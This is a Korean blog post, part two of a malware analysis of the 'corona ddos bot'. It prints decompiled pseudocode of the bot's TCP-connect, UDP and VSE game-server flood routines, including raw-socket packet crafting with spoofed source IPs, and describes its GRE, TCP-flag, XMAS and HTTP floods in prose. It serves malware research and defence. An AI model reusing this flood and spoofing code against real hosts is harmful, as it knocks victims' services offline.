악성코드 분석일지 - corona ddos bot(2)

2022. 2. 21. 13:02보안 연구/Reversing

반응형

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다.

PC 유저분들은 아래 티스토리 블로그를 이용해 주세요.

악성코드 분석일지 - corona ddos bot(2)

본 네이버 블로그는 모바일 환경에 최적화되어 있습니다. PC 유저분들은 아래 티스토리 블로그를 이용해 ...

blog.naver.com

 

 

 

안녕하세요! ICMP입니다!

저번 시간에 이어서 공격 코드를 계속 분석해 보도록 하겠습니다!

 

 

1) std_attack

__int64 __fastcall std_attack(__int64 a1, unsigned __int16 a2, int a3)
{
  int v3; // ST20_4
  _BYTE *v4; // rbx
  __int64 v5; // rbx
  __int16 v7; // [rsp+30h] [rbp-40h]
  __int16 v8; // [rsp+32h] [rbp-3Eh]
  int v9; // [rsp+34h] [rbp-3Ch]
  int v10; // [rsp+4Ch] [rbp-24h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  unsigned int v12; // [rsp+58h] [rbp-18h]
  int v13; // [rsp+5Ch] [rbp-14h]

  v3 = a3;
  v10 = 1024;
  v11 = malloc(1024LL);
  v12 = socket(2LL, 2LL, 0LL);
  v7 = 2;
  v9 = inet_addr(a1);
  v8 = htons(a2);
  v13 = (unsigned __int64)time(0LL) + v3;
  while ( 1 )
  {
    v5 = v13;
    if ( v5 <= time(0LL) )
      break;
    v4 = (_BYTE *)(v11 + v10);
    *v4 = (signed int)rand() % 70 + 30;
    connect(v12, &v7, 16LL);
    send(v12, v11, v10, 0LL);
  }
  return free(v11);
}
 

흠, 특별할 것 없이 희생자의 연결 정보를 이용하여 connect를 진행한 후 1024바이트의 데이터를 지속적으로 보내고 있습니다.

(공격 방식이 단순해서 standard attack이라고 이름을 지은 듯합니다.)

 

함수 인자가 일부 부정확해서 기드라로 확인해 보다 조금 직관적으로 확인이 가능했습니다.

 

2) udp_attack

  if ( (_DWORD)a2 )
    v40 = htons((unsigned __int16)v36);
  else
    v40 = rand_cmwc(a1, a2);
  result = (void *)getHost(v37, &v41);
  if ( !(_DWORD)result )
  {
    v42 = 0LL;
    v30 = pollinterval;
    if ( spoofit == 32 )
    {
      result = (void *)socket(2LL, 2LL, 17LL);
      v44 = (unsigned int)result;
      if ( (_DWORD)result )
      {
        result = (void *)malloc(packetsize + 1);
        v45 = result;
        if ( result )
        {
          memset(v45, 0, packetsize + 1);
          makeRandomStr(v45, (unsigned int)packetsize);
          v46 = (unsigned __int64)time() + v35;
          v31 = 0;
          v32 = 0;
          while ( 1 )
          {
            while ( 1 )
            {
              v4 = v45;
              v5 = v44;
              sendto(v44, v45, packetsize, 0LL, &v39, 16LL);
              if ( v31 == v30 )
                break;
              ++v31;
              if ( sleepcheck == v32 )
              {
                usleep((unsigned int)(1000 * sleeptime));
                v32 = 0;
              }
              else
              {
                ++v32;
              }
            }
            if ( !v36 )
              v40 = rand_cmwc(v5, v4);
            result = (void *)time();
            if ( (signed __int64)result > v46 )
              break;
            v31 = 0;
          }
        }
      }
    }
    else
    {
      v29 = &v25;
      result = (void *)socket(2LL, 3LL, 17LL);
      v47 = (unsigned int)result;
      if ( (_DWORD)result )
      {
        v38 = 1;
        result = (void *)setsockopt(v47, 0LL, 3LL, &v38, 4LL);
        if ( (signed int)result >= 0 )
        {
          v48 = 50;
          while ( --v48 != -1 )
          {
            v6 = time();
            v7 = rand_cmwc(0LL, 0LL);
            srandom(v6 ^ v7);
            v8 = rand();
            init_rand(v8);
          }
          if ( spoofit )
            v49 = -(1 << (32 - spoofit));
          else
            v49 = 0;
          v26 = packetsize + 28LL;
          v9 = alloca(16 * ((unsigned __int64)(packetsize + 58LL) >> 4));
          v27 = 16 * (((unsigned __int64)&v26 + 7) >> 4);
          v43 = 16 * (((unsigned __int64)&v26 + 7) >> 4);
          v50 = 16 * (((unsigned __int64)&v26 + 7) >> 4);
          v51 = (_WORD *)(16 * (((unsigned __int64)&v26 + 7) >> 4) + 20);
          v10 = packetsize + 8;
          v11 = findRandIP(v49, 0LL);
          v12 = htonl(v11);
          v13 = v41;
          makeIPPacket(v50, v41, v12, 17LL, v10);
          v14 = (unsigned __int16)(packetsize + 8);
          v15 = htons(v14);
          v51[2] = v15;
          v16 = rand_cmwc(v14, v13);
          *v51 = v16;
          if ( v36 )
            LOWORD(v28) = htons((unsigned __int16)v36);
          else
            LOWORD(v28) = rand_cmwc(v14, v13);
          v51[1] = v28;
          v51[3] = 0;
          makeRandomStr(v51 + 4, (unsigned int)packetsize);
          v17 = csum(v43, *(unsigned __int16 *)(v50 + 2));
          *(_WORD *)(v50 + 10) = v17;
          v52 = (unsigned __int64)time() + v35;
          v33 = 0;
          v34 = 0;
          while ( 1 )
          {
            while ( 1 )
            {
              v18 = v43;
              v19 = v47;
              sendto(v47, v43, v26, 0LL, &v39, 16LL);
              v20 = rand_cmwc(v19, v18);
              *v51 = v20;
              if ( v36 )
              {
                v19 = (unsigned __int16)v36;
                HIWORD(v28) = htons((unsigned __int16)v36);
              }
              else
              {
                HIWORD(v28) = rand_cmwc(v19, v18);
              }
              v51[1] = HIWORD(v28);
              v21 = rand_cmwc(v19, v18);
              *(_WORD *)(v50 + 4) = v21;
              v22 = findRandIP(v49, v18);
              v23 = htonl(v22);
              *(_DWORD *)(v50 + 12) = v23;
              v24 = csum(v43, *(unsigned __int16 *)(v50 + 2));
              *(_WORD *)(v50 + 10) = v24;
              if ( v33 == v30 )
                break;
              ++v33;
              if ( sleepcheck == v34 )
              {
                usleep((unsigned int)(1000 * sleeptime));
                v34 = 0;
              }
              else
              {
                ++v34;
              }
            }
            result = (void *)time();
            if ( (signed __int64)result > v52 )
              break;
            v33 = 0;
          }
        }
      }
    }
  }
  return result;
}

 

 

코드가 상당히 길지만, udp 프로토콜과 소켓 프로그래밍에 대한 기본 지식이 있으면 분석이 가능합니다.

간단하게 보면, 희생자에게 의미 없는 512byte 문자열을 지속적으로 보내 서버 과부하를 유도하고 있습니다.

 

3) vse_attack

일반적으로 알려진 ddos 공격 패턴과는 비슷한데, vse가 단순히 해커가 관리하기 편한 이름을 지은 것인지 아니면 일종의 공격 기법으로서 존재하는지 리서치 해보니 아래와 같은 결과를 얻었습니다.

VSE (Valve Source Engine) Query Flooding Attack Using UDP. Flooding TSource Engine Query in Game Server.
asec Report

vse 쿼리를 사용하는 게임 서버를 ddos 하는 방식의 공격이라고 볼 수 있습니다.

게임 서버의 확장과 유저의 증가로 이러한 공격 방식이 증가한 것으로 보입니다.

 

아래는 소스 코드 일부분입니다.

if ( spoofit == 32 )
    {
      result = (void *)socket(2LL, 2LL, 17LL);
      v38 = (unsigned int)result;
      if ( (_DWORD)result )
      {
        result = (void *)malloc(packetsize_512byte_ + 1);
        v39 = result;
        if ( result )
        {
          memset(v39, 0, packetsize_512byte_ + 1);
          makeRandomStr((__int64)v39, packetsize_512byte_);
          v40 = (unsigned __int64)time() + v27;
          v23 = 0;
          v24 = 0;
          while ( 1 )
          {
            while ( 1 )
            {
              sendto(v38, v39, packetsize_512byte_, 0LL, &v31, 16LL);
              if ( v23 == v22 )
                break;
              ++v23;
              if ( sleepcheck == v24 )
              {
                usleep((unsigned int)(1000 * sleeptime));
                v24 = 0;
              }
              else
              {
                ++v24;
              }
            }
            if ( !v28 )
              v32 = rand_cmwc();
            result = (void *)time();
            if ( (signed __int64)result > v40 )
              break;
            v23 = 0;
          }
        }
      }
    }
    else
    {
      v21 = &v17;
      result = (void *)socket(2LL, 3LL, 17LL);
      v41 = (unsigned int)result;
      if ( (_DWORD)result )
      {
        v30 = 1;
        result = (void *)setsockopt(v41, 0LL, 3LL, &v30, 4LL);
        if ( (signed int)result >= 0 )
        {
          v42 = 50;
          while ( --v42 != -1 )
          {
            v4 = time();
            v5 = rand_cmwc();
            srandom(v4 ^ v5);
            rand_init();
          }
          if ( spoofit )
            v43 = -(1 << (32 - spoofit));
          else
            v43 = 0;
          v18 = packetsize_512byte_ + 28LL;
          v6 = alloca(16 * ((unsigned __int64)(packetsize_512byte_ + 58LL) >> 4));
          v19 = 16 * (((unsigned __int64)&v18 + 7) >> 4);
          v36 = 16 * (((unsigned __int64)&v18 + 7) >> 4);
          *(_QWORD *)&v44 = 16 * (((unsigned __int64)&v18 + 7) >> 4);
          *((_QWORD *)&v44 + 1) = 16 * (((unsigned __int64)&v18 + 7) >> 4) + 20;
          v7 = packetsize_512byte_ + 8;
          v8 = findRandIP(v43);
          v9 = htonl(v8);
          makevsepacket(v44, v33, v9, 17, v7);
          v10 = htons((unsigned __int16)(packetsize_512byte_ + v35 + 8));
          *(_WORD *)(*((_QWORD *)&v44 + 1) + 4LL) = v10;
          **((_WORD **)&v44 + 1) = rand_cmwc();
          if ( v28 )
            LOWORD(v20) = htons((unsigned __int16)v28);
          else
            LOWORD(v20) = rand_cmwc();
          *(_WORD *)(*((_QWORD *)&v44 + 1) + 2LL) = v20;
          *(_WORD *)(*((_QWORD *)&v44 + 1) + 6LL) = 0;
          v11 = checksum_tcp_udp(
                  v44,
                  *((_QWORD *)&v44 + 1),
                  *(unsigned __int16 *)(*((_QWORD *)&v44 + 1) + 4LL),
                  (unsigned int)(v35 + 12));
          *(_WORD *)(*((_QWORD *)&v44 + 1) + 6LL) = v11;
          makeRandomStr(*((_QWORD *)&v44 + 1) + 8LL, packetsize_512byte_);
          v12 = csum(v36, *(unsigned __int16 *)(v44 + 2));
          *(_WORD *)(v44 + 10) = v12;
          v45 = (unsigned __int64)time() + v27;
          v25 = 0;
          v26 = 0;
          while ( 1 )
          {
            while ( 1 )
            {
              sendto(v41, v36, v35 + 32LL, (unsigned int)v18, &v31, 16LL);
              **((_WORD **)&v44 + 1) = rand_cmwc();
              HIWORD(v20) = v28 ? (unsigned __int16)htons((unsigned __int16)v28) : (unsigned __int16)rand_cmwc();
              *(_WORD *)(*((_QWORD *)&v44 + 1) + 2LL) = HIWORD(v20);
              v13 = rand_cmwc();
              *(_WORD *)(v44 + 4) = v13;
              v14 = findRandIP(v43);
              v15 = htonl(v14);
              *(_DWORD *)(v44 + 12) = v15;
              v16 = csum(v36, *(unsigned __int16 *)(v44 + 2));
              *(_WORD *)(v44 + 10) = v16;
              if ( v25 == v22 )
                break;
              ++v25;
              if ( sleepcheck == v26 )
              {
                usleep((unsigned int)(1000 * sleeptime));
                v26 = 0;
              }
              else
              {
                ++v26;
              }
            }
            result = (void *)time();
            if ( (signed __int64)result > v45 )
              break;
            v25 = 0;
          }
        }
      }
    }
  }
  return result;
}
 

코드가 길지만, 근본적으로 udb flooding ddos 방식과 동일합니다.

한 가지 차이점이 있다면 게임 서버에서 사용하는 vse 패킷을 임의의 IP로 희생자에게 udp flooding을 진행한다는 점입니다.

 

4) gre_attack

역시 플러딩 방식은 동일하나 소켓을 세팅하는 과정이 달라서 gre에 대해 검색해 보니 다음과 같았습니다.

GRE (Generic Routing Encapsulation) is a tunneling protocol that can encapsulate a wide variety of network layer protocols inside virtual point-to-point links over an IP network. Due to its nature, which allows huge payloads to be encapsulated and sent and which adds processing overhead of IP defragmentation to impact a target, attackers can abuse GRE and use it in GRE flood attacks.

askF5

gre도 역시 프로토콜의 일종이군요.

소스코드도 거의 위와 비슷하므로 넘어가도록 하겠습니다.

 

5) tcp_attack

아마 가장 유명한 방식의 ddos 공격 방식이지 않을까 합니다.

 

 

tcp_attack 함수의 마지막 인자에는 공격 옵션이 들어가는데 ALL, SYN, ACK, URG 옵션이 존재합니다.

이들 모두 tcp 통신 시 설정할 수 있는 플래그 종류들로 ddos 공격에 대표적으로 사용되는 방식이기도 합니다.

옵션에 맞는 플래그만 설정하여 희생자 장비로 해당 tcp 통신을 요청하여 부하를 발생시킵니다.

 

6) xmas_attack

xmas는 포트 스캐닝을 공부하면 빠질 수 없는 주제인데요, 쉽게 말하자면 tcp 통신 시 플래그 설정값 일부를 동시에 1로 맞추어 보내는 공격 방법입니다.

조금 리서치 해보니 일반적으로는 URG/FIN/PSH 플래그를 설정하여 서버에 전송을 요청한다고 합니다.

(포트 스캔 방식을 약간 응용하여 ddos 공격으로 사용한 것 같습니다.)

 

7) http_attack

http 프로토콜은 단순히 request - response 두 가지 경우만 존재합나다.

해당 악성코드는 임의의 useragent를 설정하여 희생자에게 지속적인 접속 해제 요청을 보내고 이를 받은 서버는 응답을 진행하는데, 많은 수의 요청이 들어오면서 버퍼 값이 증가해 가용성을 해치는 것입니다.

 

아래는 관련 글 정보 링크입니다.

 

Http ddos Connection Close

Hi Cloudflare community i configured DDoS L7 ruleset action Default and sensitivity high then I see a lot of traffic which looks normal that firewall blocked and action taken became “Connection Close” so my question is Is that OK and traffic is DDos is

community.cloudflare.com

 

3. 결론

해당 프로그램은 다수의 프로세스(최대 104개)를 생성하고 개별적으로 DDOS 공격을 감행하도록 했습니다.

공격 방식은 단순하고 직관적이지만, 다수의 장비가 감염이 되어 공격을 진행할 경우 별도의 anti ddos 솔루션이 필요할 것으로 보입니다.

 

정확한 동작을 캡처하고 구연 영상을 올리고 싶었으나, 저의 네트워크 및 프로그래밍 능력 부재로 사정상 힘들게 되었습니다.

그래도 기존에 제가 알고 있던 ddos 방식과 또 다른 공격 패턴을 알게 돼서 나름 유익한 시간이었던 것 같습니다.

 

 

다음 시간에도 또 다른 악성코드를 분석해보고, 기회가 되면 해당 악성 코드를 검출할 수 있는 Yara룰도 작성해서 포스팅 하도록 하겠습니다.

감사합니다!

반응형